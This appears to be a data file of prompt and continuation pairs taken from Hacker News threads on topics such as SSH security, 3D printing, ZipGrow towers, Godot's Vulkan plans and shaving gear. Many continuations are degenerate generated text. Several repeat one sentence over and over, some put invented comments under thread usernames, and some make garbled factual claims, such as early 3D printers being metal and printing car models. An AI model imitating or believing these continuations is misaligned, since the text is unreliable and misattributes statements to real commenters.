I\njust don't think it's prudent to say, well we all thought (rationally and\nrightly) QE was going to cause inflation because it's so obviously an\naggressively inflationary policy... then since it didn't we just turn the page\nand say oh well... glad that didn't blow up the dollar. We need to understand\nwhy that didn't have an effect.\n\n \n\nAsk HN: Focus and concentration - gdberrio\n\nMaybe it's just me, but anyone else has troubles dealing with lack of Focus and concentration, ending in not getting things done and getting stuck in a \"disfuncional perfectionism\" with lots of ideas"} +{"output_text": "2) how many they actually will sell?\n\nIf you are in charge of Nintendo... and you put something out like the Wii,\nNintendo Class, etc... how do you expect to get the amount sold right on the\nfirst shot?\n\nIn my opinion? It's a damn hard problem... it only takes a little bit of\ninternet power - everyone going ape shit over something inconsequential - and\nBAM what you expected to sell 1 million units is", "input_text": " more manufacturing than you'll ever need again.\n\n~~~\npoppysan\nBut grossly under-producing infuriates people who won't be able to purchase\nthe product for months due to a silly marketing ploy. I still cannot buy the\nNintendo classic in-store, and it came out 4th quarter 2016.\n\n~~~\nwernercd\nSo... how do YOU plan on correctly predicting how popular or unpopular\nsomething is?\n\nIsn't this one of the major pain points for many small companies that put\nstuff up? Correctly gauging 1) how much it costs to mass produce something and\n2) how many they actually will sell?\n\nIf you are in charge of Nintendo... and you put something out like the Wii,\nNintendo Class, etc... how do you expect to get the amount sold right on the\nfirst shot?\n\nIn my opinion? It's a damn hard problem... it only takes a little bit of\ninternet power - everyone going ape shit over something inconsequential - and\nBAM what you expected to sell 1 million units is now out of stock and you have\nmillions of people mad.\n\nNow that millions of people want it... will they still want it in 6 months\nwhen you ramp up production or is the fad over?\n\nPeople make it seem like this is an easy question to answer... where is the\nmillions your willing to put on the line for similar questions...\n\n~~~\naanm1988\n> So... how do YOU plan on correctly predicting how popular or unpopular\n> something is?\n\nI'd pull numbers out of thin air.\n\nIsn't this one of the major pain points for many small companies that put\nstuff up? Correctly gauging 1) how much it costs to mass produce something and\n"} +{"output_text": " machines, you don't need to use a\npassword.\n\n~~~\npwg\n> Do yourself a favor and use public key authentication rather than passwords.\n\nI have done that.\n\n> Unless you're logging in from other machines, you don't need to use a\n> password.\n\nI have done that.\n\n> It's both more secure and (together with ssh-agent) more convenient.\n\nI have done that.\n\n> Unless", "input_text": "\nars\nIt's written in python, which takes about about 2m-5m just to get out of bed\nwith nothing loaded or running. (I don't consider that a lot BTW, not a ding\non python.)\n\nThere's about 200K of source code, but basically all the overhead is the\npython runtime.\n\n(The memory usage of python doing nothing varied on different machines, but\nwas always virtually identical to the usage of fail2ban.)\n\nAlso, the virt usage is mostly large memory mapped logfiles, not actual swap\nusage.\n\n------\njfb\nAnother thing that occasionally cheeses me off is the restriction on canonical\nports < 1000 to user 0. Yes, I know it's standardized. Yes, I know that when\nit was codified the world looked very, very different. It's still annoying and\nrequires cargo-cultish hoop-jumping (albeit well understood hoop jumping) to\nrun a decently secure service.\n\n------\nrellik\nI like some mix of the following:\n\n\\- disable passworded logins (only keys)\n\n\\- ssh bastion host\n\n\\- decoy ssh honeypot on port 22 ()\n\n------\npwg\nThis is useful to protect sshd from random scans, but to still allow you\naccess from anywhere when you need that access:\n\n\n\n~~~\njulian37\nDo yourself a favor and use public key authentication rather than passwords.\nIt's both more secure and (together with ssh-agent) more convenient.\n\nUnless you're logging in from other"} +{"output_text": "/etc. are separate apps; and there is a reason that\nthe web is a \"write once, run everywhere\" platform.\n\n~~~\ncoldtea\n> _What would you expect web development to be like?_\n\nI'd expect it to be like the web we have today, with all the problems that\ncome with it.\n\n> _There is a reason that Dreamweaver and Publisher are separate apps; and\n> there is a reason that the", "input_text": " disagree with you. The Flash authoring tools WERE amazing.\n\nWhen I'm feeling in a trolling mood, I tell people that Flash is still ahead\nof JS and HTML5. Not only was the IDE incredible, but AS3 was literally a\ntyped version of JavaScript with XML liberals. That's right, it had the best\nfrom JavaScript, TypeScript and JSX, 10 years before any of that existed in\nthe front end web development toolkit.\n\nAnd you guys hate on Flash! :)\n\n~~~\ncoldtea\n> _Electron has excellent authoring tools aimed at web developers. Namely, the\n> ones they are already using._\n\nYou must have a very different definition of excellence if you believe that\nthe current web authoring tools (whatever IDE or editor + plugins people use)\nare in any way close to \"excellent\".\n\n~~~\nderefr\nWhat would you expect web development to be like? I mean, holding static the\nrequirements that the resultant DOM has to:\n\n1\\. reflow when resized (unlike a PDF);\n\n2\\. work with screen-readers (unlike naive custom rendering engines in games\net al);\n\n3\\. work with accessibility-enabling UA stylesheets (unlike native UI\ntoolkits);\n\n4\\. be printable without a separately-authored for-print version;\n\n5\\. if stateful, uses idiomatic HTTP request/response cycles that enable\nnetwork-level HTTP caching;\n\n5\\. if a web-app, talks to a simple mostly-stateless HTTP API that can also be\nconsumed unchanged by API client libraries.\n\nThere is a reason that Dreamweaver and Publisher are separate apps; and there\nis a reason Rails/Phoenix"} +{"output_text": " the game is not designed to be scaled.\n\n------\njameshart\nI'm not sure if this is a bug or a feature, but I can't seem to get the\n\"Ride\" button to work.\n\n~~~\nsclangdon\nI'm not sure if this is a bug or a feature, but I can't seem to get the\n\"Ride\" button to work.\n\n~~~\njameshart\nI'm not sure if this", "input_text": " bugs that\nprevented me from playing.\n\nGive it a spin if you were (or still are) into the original Rollercoaster\nTycoon!\n\n~~~\nsqueaky-clean\nThanks for the info, I definitely will. RCT and RCT2 are among my favorite\ngames ever made. I still load them up at least once every 6 months. Leafy Lake\n/ Lucky Lake will always have a place in my heart.\n\n~~~\nlucb1e\nThat's one of my favorite levels too! Whenever I'm unsure which one to load\nup, that's almost inevitably going to be it :)\n\n------\nantimatter\nI wish someone did something similar for Populous: The Beginning.\n\n------\nhippich\nI wonder if there is some universal way to increase DPI for SDL-based apps. I\nam on linux and I can't read anything =(\n\n~~~\nsclangdon\nSDL2 has SDL_WINDOW_ALLOW_HIGHDPI, which creates the window in high-DPI mode.\n\n~~~\njanisozaur\nI have added poor man's scaling in\n[https://github.com/OpenRCT2/OpenRCT2/pull/2280](https://github.com/OpenRCT2/OpenRCT2/pull/2280)\nyou can also look into the investigation lead in\n[https://github.com/OpenRCT2/OpenRCT2/pull/2328](https://github.com/OpenRCT2/OpenRCT2/pull/2328)\n\n~~~\nVMG\nIsn't there a way to preprocess the sprites and create 2x and 4x scaled\nversions?\n\n~~~\njanisozaur\nNo,"} +{"output_text": "time, we can see that 3D printing is not new.\n\nThe first 3D printers were made in the late 70's and early 80's. They were\nmade by a company called 3D Systems. They were not cheap, but they were\navailable to the public.\n\nThe first 3D printers were made of metal, and were not very good. They were\nmade to print out a model of a car, and were not very good at it.\n\nThe", "input_text": ".\n\n------\nukoki\n\"There's no money in 3D printing\"\n\nI'm skeptical. For example, developing seeds is another industry potentially\nvulnerable to the \"customers could become the producers\" dilemma but Monsanto\nis doing pretty well. Similarly you can use Microsoft products to download,\ncrack and freely reproduce Microsoft products - but they're not doing too bad\neither. I wouldn't underestimate the combination of legislation, monopolies\nand/or powerful branding.\n\nAll it would take is for your Acme 3D Printer to have its own a Acme 3D\nTemplate Store and a large market share.\n\n~~~\namalag\nMonsanto is not a good comparison because they force you to buy seeds from\nthem the next year. You are not allowed to collect seeds from the plants you\ngrow and they will sue you. And our judicial system agrees with Monsanto\nbecause we think DNA is patentable. This will hit the supreme court in\nFebruary.\n\nU.S. Court of Appeals for the Federal Circuit, which ruled that \"once a\ngrower, like Bowman, plants the commodity seeds containing Monsanto's Roundup\nReady technology and the next generation of seed develops, the grower has\ncreated a newly infringing article.\"\n\nLearn more:\n[http://www.naturalnews.com/037589_monsanto_saving_seeds_farm...](http://www.naturalnews.com/037589_monsanto_saving_seeds_farmers.html#ixzz2H8Nfro7c)\n\n------\nZenst\nI disagree with the articles conclusion. It does make some good points about\ncosts and how a dedicated tool is better but if we just go back a little in\n"} +{"output_text": " schedule would have\nprevented all of these issues.\n\n~~~\ndavelnewton\nI've had no issues with the emitters.\n\nI've had issues with the pump dying, but that's a problem with the pump, not\nthe tower.\n\nI've had issues with the emitters blowing off, but that's a problem with the\ntower, not the emitters.\n\nI've had issues with the circuit breakers tripping, but that", "input_text": "BSD.\n\n------\nmablap\nThe proposed distro (Debian) was spot on for me. You could probably split the\nquestionnaire between people who want to try linux for the first time, and\npeople who want to try a new distro.\n\n------\nolp2\nIt just pinpointed Debian, however I think asking about the package manager\ncreates too big of a bias for a \"chooser\".\n\npick: next button messes with the browser history.\n\n------\nsmkellat\nIt guessed Xubuntu. I'm using Xubuntu at the moment. How it then jumped from\nthat to Slackware...damfino.\n\n------\nsteanne\nrolling versus non?\n\n------\nashitlerferad\nSeems to be broken without JavaScript turned on?\n\n \nZipGrow: Vertical farming/urban agriculture system - davelnewton\nhttps://shop.zipgrow.com/\n======\norasis\nI own 20 ZipGrow towers and have become quite disillusioned with them across 3\ngrowing seasons.\n\nThe biggest problem is that there is nothing to buffer moisture on the roots\nif there is an intermittent problem.\n\nYou might get a nice crop of basil growing and then a clogged emitter for 12\nhours can be the death of those plants.\n\nHere are all of the failure modes I have experienced:\n\n\\- pump dying \\- Leak in base causing all water gone in 24 hours \\- clogged\nemitters \\- water choosing off route through tower and not hitting the plants\non top \\- emitters getting blown off causing water to spray outside tower \\-\ncircuit breakers trip from pump\n\nOverall I\u2019ve probably lost half of everything I\u2019ve planted in a zipgrow.\n\nA professional operation with a daily maintenance"} +{"output_text": " we're just going to publish it anyway\" is just as bad as the\nattitude that \"you're giving info to the evil hackers and we're just going to\nkeep it to ourselves until they fix it.\"\n\n~~~\njosteink\n> The attitude that \"you're giving info to the evil hackers and we're just\n> going to publish it anyway\" is just as bad as the attitude that \"you're\n> giving info to the evil hackers and we're just", "input_text": " easier thing to overcome.\n\nCould you share with us what books and programming languages/tools you've been\nusing? While there are certainly common ideas, different types of language\ntake a different approaches to describing a program. Maybe whatever you've\nchosen doesn't suit your way of thinking particularly well, and you would find\nanother tool more intuitive at this stage.\n\n~~~\namorphid\nThe book I've had the most luck with is _Learning To Program_ by Chris Pine.\nThere's a question in the book about counting the sections of land on a\nstandard X,Y grid map. That would be a good example of a problem that blows up\nmy brain.\n\n~~~\nChris_Newton\nWhich of these would you say is closest to your difficulty?\n\na) You don't understand what the problem means.\n\nb) You can't describe an algorithm that would solve the problem in plain\nEnglish or \"pseudocode\".\n\nc) You could describe the algorithm informally, but don't know how to code it.\n\n \nGoogle posts Windows 8.1 vulnerability after 90 days - mmorris\nhttp://www.engadget.com/2015/01/02/google-posts-unpatched-microsoft-bug/\n======\ncheald\nThis story is surprisingly hostile to Google. A 90-day window after which the\nbug is published is about as responsible as responsible disclosure gets. The\nheadline really rubs me the wrong way, as though Google raced to publish this\nvulnerability to spite Microsoft.\n\nNot talking about the bug doesn't mean it's not there, but talking about it\nsure makes people aware that they should perhaps take extra precautions until\nMicrosoft patches the bug. The attitude that \"you're giving info to the evil\nhackers and"} +{"output_text": " like I was going to lose it, I would\njust stop and do something else.\n\nI would also recommend the book \"The Power of Habit\" by Charles Duhigg.\n\n------\njimmyjack\nI've been working on this for a while, and I've found that the best way to\ndeal with it is to just keep doing the things that you want to do.\n\nI've found that if I just keep doing the things that I want", "input_text": "\n\nI have tried many different methods, the one I am trying now is using an app\nto implement the GTD method. So far it is working well.\n\nPreviously I have tried to plan things out the night before and be able to\njust hit the ground running. It works well, but having more of a running list\nof next actions with GTD seems to be a better fit.\n\n~~~\ndalacv\nDesign is actual work to some people.\n\n------\nmancerayder\nHere's something to try: 20m chunks and breaks. And patience. Sometimes it\ntakes a few empty cycles of 20m before breakthroughs begin. Once begun, they\nself-motivate.\n\nYou don't have to crank through until something starts. And it might even be\nokay to let your mind wander during the 20 minutes.\n\nThen break. Take a few minutes, step away, go outside, pace around, glance at\nHN, anything.\n\nBack to the 20m.\n\nIt's similar to a warmup at the gym when you're starting to do heavy sets.\nHere you're priming your mind.\n\nMy philosophy is, the second you have to fight yourself / your mind\n(motivation), you've already lost.\n\n------\njimmyjack\nAs somebody who has suffered basically the exact same thing, one book that has\nimmensely helped is: [https://www.amazon.com/Self-Directed-Behavior-Self-\nModificat...](https://www.amazon.com/Self-Directed-Behavior-Self-Modification-\nPersonal-Adjustment/dp/1285077091)\n\nEssentially I found that I could tackle any task, but on the first flash of\nsome other more exciting idea, feeling"} +{"output_text": " a disaster).\n\n~~~\njfengel\nI think the idea is that you can grow food in a city, and then sell it to\npeople who live in the city.\n\n~~~\njfengel\nI think I'm going to have to go with \"no, that's not what they mean.\"\n\n------\njfengel\nI'm not sure I understand the point of this article. It's a long list of\nthings that are already", "input_text": " greens for much of the world's population. The economics\nare slowly improving with LED efficiency increases and capital infusion to\nscale farms.\n\n1:\n[https://search.proquest.com/openview/ccf876147b3e8a224da6770...](https://search.proquest.com/openview/ccf876147b3e8a224da6770203e5fa4d/1?pq-\norigsite=gscholar&cbl=18750&diss=y) 2:\n[https://www.upstartfarmers.com](https://www.upstartfarmers.com) 3:\n[https://www.plenty.ag/the-feed/plenty-acquires-bright-\nagrote...](https://www.plenty.ag/the-feed/plenty-acquires-bright-agrotech-to-\nglobally-scale-impact-of-local-farmers/)\n\n~~~\ntomp\nDo you have any idea, why do people concentrate on aquaponics, not aeroponics?\nIs it just simply easier to implement, or better researched? Or is it actually\nbetter (higher yield, closed-loop system,...)?\n\n~~~\nSophistifunk\nHydroponics would be the alternative to aeroponics, I think? Aquaponics\nusually means a hydroponics system in a loop with fish tanks.\n\n------\nflagada\nI don't really understand the whole \"urban agriculture\" crowd.\n\nPeople do often live in crowded cities, but there's plenty of space to grow\nstuff on outside of cities. It's the same kind of thinking that gave us the\nsolad roads (which were, predictably,"} +{"output_text": " the last few years.\n\n~~~\nfallinghawks\nI've heard of them in China, but I've never seen them. I wonder if they're\njust not as popular there.\n\n~~~\nwzsddtc\nI've seen them in Shanghai, Beijing, Shenzhen, Guangzhou, and Hong Kong.\n\n------\njoshu\nI've been to a few of these. They're fun.\n\n------\njoshu\n", "input_text": ".html\n\n======\nschoen\nI did the two permanent room escapes run by Real Escape Game/SCRAP in San\nFrancisco (in the New People mall in Japantown), namely Escape from the\nMysterious Room and Escape from the Time Travel Lab. They were great fun. (My\nteams didn't manage to escape from either of them.)\n\nI also did their Escape from the Bank (themed after the aftermath of a bank\nrobbery), where I think my team was the only one to make it out. That event is\npossibly less awesome because you're seated at a table in a big hall with a\nlot of other teams around you, rather than exploring small room all by\nyourselves.\n\nNow I'm looking forward to trying the games in New York City!\n\n~~~\nfallinghawks\nI did Escape from the Mysterious Room as well, and really enjoyed it. We\nprobably needed another 15 minutes to complete because we got hung up on one\nof the puzzles that needed a piece we hadn't found yet.\n\nI'd like to do it again but would like to go with people who have actually\nhave played escape games (esp. Japanese) before.\n\n------\nUdo\nIt's interesting how much LARP ideas are beginning to diffuse into general\nculture. Lastly I was talking to someone who basically organized themed mini-\nLARPs for corporate teams. Since these are audiences who generally aren't\nfamiliar with the medium, they're always amazed.\n\nI think as our natural environment continues to become safer and more\nvirtualized, these immersive adventures and ARGs will become more popular and\nmainstream.\n\n------\nwzsddtc\nThese are really popular in China Mainland as well since"} +{"output_text": "------\njoshu\nI pay $X for a good meal. I'll pay $2X if you can make me a good meal.\n\nKey point: I need to trust that your decisions are correct. What I want to pay\nfor is not thinking about this and knowing that it's handled.\n\n~~~\nimcqueen\nI think you're right. I think the key is to make sure that the food is\ndelicious and that the service is good", "input_text": " [1]. The end-user signs up with\na Stripe account, you get an OAuth key, and can make charges on their account.\nYou can also collect fees on top of any payments [2].\n\n[1]: [2]:\n\n\n~~~\npeteforde\nThank you so much! I don't know how I missed that.\n\n------\nyummyfajitas\nI pay $X for clothing (I haven't calculated it, but assume it's relatively\naverage for a man who doesn't wear suites). I'll pay $2X if you can make me\nwell dressed.\n\nKey point: I need to trust that your decisions are correct. What I want to pay\nfor is not thinking about this and knowing that it's handled.\n\n~~~\nimcqueen\nOne major factor in appearing well dressed is having clothes that fit\nproperly. Even expensive clothes look bad when they're not the right size and\ncut. It may be cool if a startup could curate clothes that match both style\nand body type.\n\nThis could exist by the way, I don't know of any off the top of my head\nthough. Bonobos.com is the only thing that comes to mind. They're not\nspecifically doing the above, but I think they offer a variety of fits/sizes.\nI've had a good experience with them in the past.\n\n~~~\ncynicalkane\nSome companies do computerized made-to-measure clothes. These reportedly work\npretty well, but the lead time and effort required by the consumer is very\nlarge. The ones I know about only do business wear.\n\n"} +{"output_text": " people who are not paying.\n\n------\njrockway\nI'm not sure why this is on the front page. It's not like he was hosting\npornography or anything.\n\n~~~\njrockway\nI guess I should have said \"not like he was hosting illegal pornography\".\n\n------\njrockway\nI'm not sure why this is on the front page. It's not like he was hosting\npornography or anything.\n\n~~~", "input_text": " based servers with their cases ripped off on the\nwire-frame racks you would find in a home improvement store. After seeing that\nand hearing they lacked any fire suppression system I respectfully walked away\nfrom their bid.\n\n------\nMadWombat\nWell, there is a link to a thread on a webhostingtalk.com, where some people\nare discussing the issue. After reading the original posting by the blog\nservice provider and some of the replies, here are some basic lessons to be\nlearned from this.\n\n1\\. A lot of people have no clue as to the legal process\n\n2\\. It pays REALLY well to have external backups\n\n3\\. It might be a good idea to use encrypted volumes to store sensitive data,\nso if authorities are involved, they have to serve you with papers to get your\ndecryption keys. This way you stay more informed.\n\n4\\. Your hosting provider probably has a clause in their ToS that more or less\nsays \"we can terminate your service whenever, the hell, we want and there is\nnothing you can do about it\". Deal with it.\n\n5\\. This story still sucks.\n\n6\\. Seems like this guy was simply small enough to just serve a court order\nand shut down his service. I don't think anyone would shutdown Google for\nquestionable content on a blogger account or google web pages.\n\n7\\. I am pretty sure, that there is no legal way for a law enforcement agency\nto remain anonymous while doing something like this. Either I am wrong about\nit or something is amiss.\n\n~~~\nadamc\nYour hosting provider probably does have such a clause, but after exercising\nit they should expect to go out of business.\n\n~~~\nMadWombat\nNot if they only do it to"} +{"output_text": " be\nthat bad, but it would be a pain to have to deal with. )\n\n~~~\njedberg\n> The Non-Pro model will use ARM. You will end up with a 12\" Macbook that is\n> priced at $799. With a possible 14\" Macbook at $899 ( The BOM cost of an\n> iPad Pro 11\" would be the same as 12\" Macbook, you are essentially swapping\n> the cost of", "input_text": " just keep patching it\nto run on latest macOS. Along with Windows Bootcamp option. That will be Mac\nPro, iMac Pro and MacBook Pro.\n\nThe Non-Pro model will use ARM. You will end up with a 12\" Macbook that is\npriced at $799. With a possible 14\" Macbook at $899 ( The BOM cost of an iPad\nPro 11\" would be the same as 12\" Macbook, you are essentially swapping the\ncost of back camera modules to additional 128GB NAND, the Touch Screen And\nGlass Panel to Track Pad and Keyboard. ) It will be like the Macbook 2015,\nexcept it doesn't cost that ridiculous $1299. And $799 might have been the\ncheapest portable Mac in recent history as far as I could remember. Even the\n11\" MacBook Air was priced at $899.\n\nIt would greatly expand the macOS market shares. Which has very much stagnated\nfor the past few years. Out of 1.4B PC market, Apple has 100M macOS users, 7%\nmarketshare. Compare this to 4.5B Smartphone Apple has 1B iOS users, 22%\nmarketshare. And the most important thing to me would be that Apple also\naccept / admit Tablet computing will never take over the Desktop / Notebook,\nor keyboard / trackpad paradigm. It is good enough for large enough of a\nmarket to worth continuing the investment into Mac other than trying to get\niPad / Tablet to kill it.\n\nThe only problem with this hypothesises is that the software would be very\nmessy. Would Xcode force all Apps by default to compile with Fat binary? Is\nApple going to tell its user the different? ( Not that I think it would"} +{"output_text": " of the line. I tried the Dorco blades and they were a huge improvement.\n\n------\njoshu\nI've been using DSC for a few years now. I've been very happy with the\nquality/price.\n\nI've been using the safety razor for a few years now. I've been very happy\nwith the quality/price.\n\nI've been using the safety razor for a few years now. I've been very happy\nwith the quality", "input_text": " the rest, shaving oil will do the trick.\n\n~~~\nauctiontheory\nI went through a phase of thinking as you are. And then I realized that in the\nbig scheme of my life, I was spending way too much time focusing on a very\ninsignificant piece of my day. I could get much better return applying the\nsame time and energy to choices that have bigger impact. And... did I really\nwant to shave with blades that could slice me up?\n\n~~~\ndrunken_thor\nI don't think you gave it enough practice, I have been using a double edge for\nyears and shave faster than I did with cartridge because I only need one pass.\n\nFeather blades and olive oil are the only thing I use. Also double edges were\noriginally called safety razors for a reason.\n\n------\nevo_9\nI wish these guys offered a Safety Razor and/or blades but it's probably not\npossible to make money off those. Which is too bad, I like the company, like\nthe service but at the end of the day you simply can't beat safety razors;\nthey are cheaper and they actually work better. That's the only reason I\nstopped using this service.\n\n~~~\nwonderyak\nFWIW - You can get safety razors from DSC's supplier -\n[http://www.dorcousa.com/](http://www.dorcousa.com/)\n\nI was looking at DSC for a long time and ended up trying Harry's. Was very\ndisappointed with Harry's blades. Next time I order anything it will be from\nDorco.\n\n~~~\n_JamesA_\nI went down this road too. A long time Gillette Mach/Fusion/whatever is the\ntop"} +{"output_text": "esty is.\n\n~~~\narbitrage\nI'm not sure what you mean by false modesty. I'm not saying I'm not\nmodest/proud of my privacy, I'm saying that I don't think it's a virtue.\n\n~~~\ngnaritas\nYou're saying you don't think privacy is a virtue, which is false.\n\n~~~\narbitrage\nI'm saying that I don't think privacy is a virtue, which is true.", "input_text": " side that is non-\nfunctional, and the \"cyborg effect\" basically goes away. The human brain hates\nasymmetric faces. Such a stupid oversight, may have been enough to save the\nconsumer effort if they did this from the get-go.\n\n~~~\nxxs\nLeave that 'piece o'plastic' stuff, the extra room can be utilized as extra\nbattery.\n\n~~~\nnotatoad\nthat'll increase the weight though.\n\n~~~\nfunction_seven\nI think it\u2019s better to have balanced weight, even if it means more. While it\nmight be annoying to have more weight on the bridge of your nose and over your\nears, it\u2019s even more annoying to have an off-center moment of force.\n\nIt\u2019s like carrying one 12-pack of beer rather than two.\n\n------\nkharms\n>>Glass is also helping healthcare professionals. Doctors at Dignity Health\nhave been using Glass with an application our partner Augmedix calls \u201ca remote\nscribe\u201d.\n\nMy primary care doctor has a human scribe. The scribe is a recent graduate\n(BS), planning on going to med school next year. Being physically in the room,\nwatching the doctor work is a great benefit to her. I'm not sure she'd benefit\nas much from watching a live stream.\n\nAdditionally, as a patient I wouldn't be comfortable being recorded.\n\n~~~\narbitrage\nI would be totally cool with being recorded. I think its beyond time we get\npast the ridiculous false modesty that seems to be considered a virtue, but\nwith no real benefit.\n\n~~~\ngnaritas\nThe desire for privacy is not \"false modesty\"; given the sentence you just\nuttered, I'm not convinced you even know what false mod"} +{"output_text": " I'll try\nto clarify.\n\n~~~\nedpichler\nI'm not sure if I'm missing something, but I don't see any exaggeration.\n\n~~~\nsdrothrock\nI'm not sure if I'm missing something, but I don't see any exaggeration.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that people are starting to realize that", "input_text": " make good pay.\n\n~~~\nuser5994461\n$1.8M per employee for Apple\n\n[http://uk.businessinsider.com/top-tech-companies-revenue-\nper...](http://uk.businessinsider.com/top-tech-companies-revenue-per-\nemployee-2015-10)\n\n~~~\nlultimouomo\nThat's revenue. While Apple is hugely profitable, I'm pretty sure it has great\nmanufacturing costs and per-employee profits are a fraction of that (the first\ngoogle result says $0.4M).\n\n~~~\nfoota\nProfit includes employee cost though. It seems those should be excluded.\n\n~~~\nluckydata\nDepends if you're calculating gross or net.\n\n------\nprinceb\n> ruthlessly capitalist racists\n\nactually, these people are not racists. the racists are the ones not hiring\noutside their race, even if it's cheaper. the ruthlessly capitalist is an\nequal opportunity discriminator.\n\n~~~\ndanieltillett\nI have always thought that capitalism is the grim reaper of other ism's like\nracism, sexism, ageism, etc. If a society underprices a group of people for\nirrational reasons then a capitist will recognise this and solve the problem.\n\n------\nedpichler\nThis description of how business is done on Japan makes me sad. It can't be\nall true, I really hope I didn't get the jokes and the author is exaggeration\nfacts more than he described.\n\n~~~\nsdrothrock\nI've been living and working in Japan for almost a decade; if there are parts\nyou're wondering if are exaggeration, feel free to comment here and"} +{"output_text": " (jQuery, MooTools, Prototype,\netc.) and it's very well documented.\n\nI'm not sure if it's a good idea to use it in production, but it's definitely\na good idea to use it in your own projects.\n\n~~~\njie\nThanks for the feedback! I'm working on a new design for the website.\n\n------\njasonkester\nI'm not sure I understand the point of this.\n\nIt", "input_text": " this because this is the feature you've\nhighlighted with your benchmark.\n\nHere an explanation of my words :\n\nscope.ready(function(my, $) {\n\n$(\"h2\").addClass(\"mytest\");\n\n$(\"div\").appendHtml(\"

Test

\");\n\n$(\"h2\").addClass(\"mytest2\");\n\n});\n\n>>> My new h2 doesn't have any class.\n\nI'm looking forward to see how this will evolve! Keep going!\n\n~~~\njie\nIn my.js, elts wrappers are both cached by id and in their native\nHTMLElements. The performance increases are sometimes from 1 to 100. Caching\nFTW. In fact, caching has only 1 minor fallback: you can't change an elt id if\nyou have already accessed it by his former id (but who does? it's such bad\npractice). For the above snippet, it's normal that your new h2 doesn't have\nany class since the $ fn only returns the first h2 (like querySelector)\ncontrary to jQuery $ who returns a set. The 3rd line of your code only add\nclass to your first h2. To get a set of selected elts in my.js, use \"$.elts\"\nand it will work! If you're interested, I may give a presentation on my.js at\nthe next WebWorkerCamp in Paris!\n\n------\ntbassetto\nFirst, I would recommend you to update the website design :) It lacks color\n(and backgrounds!) in Firefox and it needs an horizontal scrollbar on my 24\"\nscreen :|\n\nConcerning the framework, I must admit that I'm quite impressed. It's clearly\ndifferent from current mainstream framework"} +{"output_text": ", and we don't\n> want to do that.\n\n~~~\nmattnewport\n> I disagree. It has been 9 months since that post.\n\nI'm not sure what you mean by this. The post was made in August 2017 and\nthere's been no further updates since then.\n\n> Godot says it will get Vulkan support in 3.2 which comes out in a few\n> months.\n\nGodot 3.2 is not due", "input_text": " most desktop and mobile platforms, which makes it unattractive\n> to implement for us (as it means considerably more effort to write, debug\n> and maintain).\n\nAnd then they're talking about the Vulkan PI in TFA which probably won't be\nready for some time too...\n\n~~~\ncsdreamer7\n> However, the arguments against bgfx seem to amount to \"I want to do it\n> myself\", a classic \"not invented here\" issue.\n\nI disagree. It has been 9 months since that post. bgfx still does not list\nsupport for Vulkan. They already implemented DX12 and Metal. They still claim\nsupport for Windows XP and Vista. Godot says it will get Vulkan support in 3.2\nwhich comes out in a few months. Otherwise they would have to wait and work on\nbgfx to get it working. DX9, XP, Vista, feels like a lot of baggage for what\nGodot is right now. A very quick and easy to use game editor that easily\ndeploys on both Win and Linux.\n\nAlso, your edit links to a pretty outdated article (2017).\n\nSee Godot's about face on Vulkan here:\n\n[https://godotengine.org/article/abandoning-gles3-vulkan-\nand-...](https://godotengine.org/article/abandoning-gles3-vulkan-and-gles2)\n\n> Vulkan was always a tempting alternative to solve them and to ensure we are\n> much safer from driver bugs (after all, this is what the API was intended\n> for). Still, the lack of support on macOS made it unappealing. Having to\n> write a Metal backend to support this OS is a lot of effort"} +{"output_text": " job.\n\nI'm not sure why he thinks that.\n\n~~~\njlgreco\nI think the author is worried that he will be fired for being a jerk.\n\n~~~\nvore\nI think the author is worried that he will be fired for being a jerk.\n\n------\njlgreco\nI think the author is worried that he will be fired for being a jerk.\n\n------\njlgreco\nI think the author is", "input_text": " circumstances\n(the difficulty of the job being the biggest). There are four employees to\ncover 21 8-hour shifts each week (24 hours a day, 7 days a week total).\n\nIf someone calls in sick, the one of the others has to cover the shift. Under\nno circumstances can the house ever be unstaffed. Aside from a bit of overtime\npay, the company isn't hurt, but everyone else is.\n\nNot all jobs are like this. The consequences of taking a sick day as a\nvacation day (or simply being sick) usually aren't that severe. Maybe it's a\nmanufacturing line and the manager has to step in to fill your role or\nsomething. Maybe it has no effect at all on anyone around you. In those cases,\nmaybe it doesn't make sense for the company to distinguish between time off\nfor being sick, and time off for vacation.\n\n> The whole point of PTO is that the company is agreeing to give you 10 days\n> worth of slack.\n\nNo, that's only true if the company doesn't distinguish between sick time off\nand vacation time off. Typically, where I've worked, all PTO was lumped into a\nsingle bucket, and no-one really cared. However, that is really more true of\nwhite collar work with long timelines and not so much in most other jobs (or\nthe parent post I was replying to).\n\n~~~\npnutjam\nUnderstaffed is a management issue, not an employee problem.\n\n~~~\ntripzilch\nI suppose the disabled adults living there have the biggest problem...\n\n~~~\npnutjam\nAre they hostages?\n\n------\nvore\nThe author seems to very much worry that negative press is going to be the\ncause of him losing his"} +{"output_text": " of the program and\nthen leave.\n\n~~~\nprabodh\nI am not sure if you are being sarcastic or not.\n\nI am not sure if you are aware of the fact that the Indian version of YC is\nnot a startup. It is a business incubator.\n\nThe founders are not the ones who are going to be running the company. They\nare just the ones who are going to be providing the seed money.\n\nThe company", "input_text": "\nalready established market?\n\nIs the ISP environment so hostile as to squeeze even the biggest players out\nof town? Is Google slowly ramping down even existing Fiber operations? What's\ngoing on behind the scenes here? If the microtrenching issue is driving this,\nwhy can't Google of all companies put up the investment to re-do it right?\n\nThere's failing an experiment, and then there's realizing something is sub-par\nand putting in the work and money to make it right for your customers. I feel\nlike Google has misconstrued the two here.\n\n \n\nIndian version of Y Combinator... - prabodh\nhttp://iaccelerator.org/\n\n======\nplinkplonk\n\"Indian version of Y Combinator\"\n\nYeah Right!\n\nFrom the FAQ\n\n\"When the company is formed we set up a bank account. When the bank account is\nset up we deposit a check for the full amount of our commitment ie. 5 Lakh\ndirectly into it. A company secretary is brought in to distribute funds from\nthe company checking account as per the budget instructions. Adjustments to\nthe budget can be made at board meetings. Founders _do not_ have direct check\nwriting control of the bank account.\"\n\nYou need to buy an extra laptop, wait for the next board meeting and/or get\napproval from the \"Company Secretary\".\n\n\"Founders _do not_ have direct check writing control of the bank account!\"\n\nSounds like a great way to run a startup!\n\nAnd they have the audacity to call it \"The Indian version of YC\".\n\nI doubt PG and co sit around approving line items and writing checks every\nother day! AFAIK they hand over the money at the beginning"} +{"output_text": " server side.\n\nSecond, the patent is for a method of using a voice recognition server to\nrecognize a voice command.\n\nThird, the patent is for a method of using a voice recognition server to\nrecognize a voice command.\n\nFourth, the patent is for a method of using a voice recognition server to\nrecognize a voice command.\n\nFifth, the patent is for a method of using a voice recognition server to\nrecognize a voice 